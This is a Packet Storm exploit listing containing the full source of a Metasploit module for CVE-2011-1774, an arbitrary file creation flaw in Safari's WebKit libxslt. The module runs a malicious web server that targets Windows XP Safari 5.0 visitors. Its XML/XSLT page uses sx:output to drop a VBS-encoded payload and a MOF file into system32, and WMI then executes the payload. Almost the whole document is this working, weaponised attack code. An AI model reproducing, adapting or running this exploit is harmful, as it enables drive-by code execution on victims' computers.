Apple Safari Webkit libxslt Arbitrary File Creation

2011-10-1800:00:00
Nicolas Gregoire
packetstormsecurity.com
0.97 High
EPSS
Percentile
99.7%
JSON
`##  
# $Id: safari_xslt_output.rb 13987 2011-10-18 07:39:50Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
include Msf::Exploit::WbemExec  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apple Safari Webkit libxslt Arbitrary File Creation',  
'Description' => %q{  
This module exploits a file creation vulnerability in the Webkit  
rendering engine. It is possible to redirect the output of a XSLT  
transformation to an arbitrary file. The content of the created file must be  
ASCII or UTF-8. The destination path can be relative or absolute. This module  
has been tested on Safari and Maxthon. Code execution can be acheived by first  
uploading the payload to the remote machine in VBS format, and then upload a MOF  
file, which enables Windows Management Instrumentation service to execute the VBS.  
},  
'License' => MSF_LICENSE,  
'Author' => ['Nicolas Gregoire'],  
'Version' => '$Revision: 13987 $',  
'References' =>  
[  
['CVE', '2011-1774'],  
['OSVDB', '74017'],  
['URL', 'http://lists.apple.com/archives/Security-announce/2011/Jul/msg00002.html'],  
],  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'Space' => 2048,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
#Windows before Vista  
[ 'Automatic', { } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jul 20 2011'))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Check target before attacking  
agent = request.headers['User-Agent']  
if agent !~ /Windows NT 5\.1/ or agent !~ /Safari/ or agent !~ /Version\/5\.0\.\d/  
print_error("This target isn't supported: #{agent.to_s}")  
send_not_found(cli)  
return  
end  
  
url = "http://"  
url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
url += ":" + datastore['SRVPORT'] + get_resource() + "/"  
  
content = <<-EOS  
<?xml-stylesheet type="text/xml" href="#fragment"?>  
<!-- Define the DTD of the document  
This is needed, in order to later reference the XSLT stylesheet by a #fragment  
This trick allows to have both the XML and the XSL in the same file  
Cf. http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html -->  
<!DOCTYPE doc [  
<!ATTLIST xsl:stylesheet  
id ID #REQUIRED  
>]>  
<doc>  
  
<!-- Define location and content of the files -->  
<mof>  
<location><![CDATA[\\\\.\\GLOBALROOT\\SystemRoot\\system32\\wbem\\mof\\#{@mof_name}]]></location>  
<content><![CDATA[#{@mof_content}]]></content>  
</mof><vbs>  
<location><![CDATA[\\\\.\\GLOBALROOT\\SystemRoot\\system32\\#{@vbs_name}]]></location>  
<content><![CDATA[#{@vbs_content}]]></content>  
</vbs>  
  
<!-- The XSLT stylesheet header, including the "sx" extension -->  
<xsl:stylesheet id="fragment" version="1.0"   
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"  
xmlns:sx="http://icl.com/saxon"  
extension-element-prefixes="sx"  
xmlns="http://www.w3.org/1999/xhtml" >  
<xsl:output method="xml" indent="yes" />  
  
<!-- The XSLT template -->  
<xsl:template match="/">  
<!-- Define some XSLT variables -->  
<xsl:variable name="moflocation" select="//mof/location/text()"/>  
<xsl:variable name="vbslocation" select="//vbs/location/text()"/>  
<!-- Create the files -->  
<sx:output file="{$vbslocation}" method="text">  
<xsl:value-of select="//vbs/content"/>  
</sx:output>  
<sx:output file="{$moflocation}" method="text">  
<xsl:value-of select="//mof/content"/>  
</sx:output>  
<!-- Some output to the browser -->  
<html> </html>  
</xsl:template>  
</xsl:stylesheet>  
</doc>  
EOS  
  
#Clear the extra tabs  
content = content.gsub(/^\t\t/, '')  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
send_response(cli, content, {'Content-Type'=>'application/xml'})  
handler(cli)  
  
end  
  
def exploit  
# In order to save binary data to the file system the payload is written to a VBS  
# file and execute it from there via a MOF  
@mof_name = rand_text_alpha(rand(5)+5) + ".mof"  
@vbs_name = rand_text_alpha(rand(5)+5) + ".vbs"  
  
print_status("Encoding payload into vbs...")  
payload = generate_payload_exe  
@vbs_content = Msf::Util::EXE.to_exe_vbs(payload)  
  
print_status("Generating mof file...")  
@mof_content = generate_mof(@mof_name, @vbs_name)  
super  
end  
  
end  
`
0.97 High
EPSS
Percentile
99.7%
JSON
Related for PACKETSTORM:105943